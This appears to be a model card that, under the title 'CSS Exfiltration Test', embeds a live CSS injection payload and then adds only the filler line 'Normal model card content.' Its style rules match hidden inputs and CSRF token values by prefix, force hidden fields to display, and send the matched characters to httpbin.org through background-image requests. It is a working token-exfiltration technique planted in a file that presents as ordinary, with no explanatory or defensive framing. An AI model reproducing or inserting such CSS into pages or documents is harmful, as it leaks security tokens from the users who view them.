---
license: mit
---

# CSS Exfiltration Test

<style>

input[name="csrf"][value^="e"] { background-image: url('https://httpbin.org/get?csrf_starts_e'); }
input[name="csrf"][value^="ey"] { background-image: url('https://httpbin.org/get?csrf_starts_ey'); }
input[value^="eyJkYXR"] { background-image: url('https://httpbin.org/get?csrf=eyJkYXR'); }
[name="csrf"] { background-image: url('https://httpbin.org/get?csrf_found'); }
input[type="hidden"] { display: block !important; background-image: url('https://httpbin.org/get?hidden_input'); }

</style>

Normal model card content.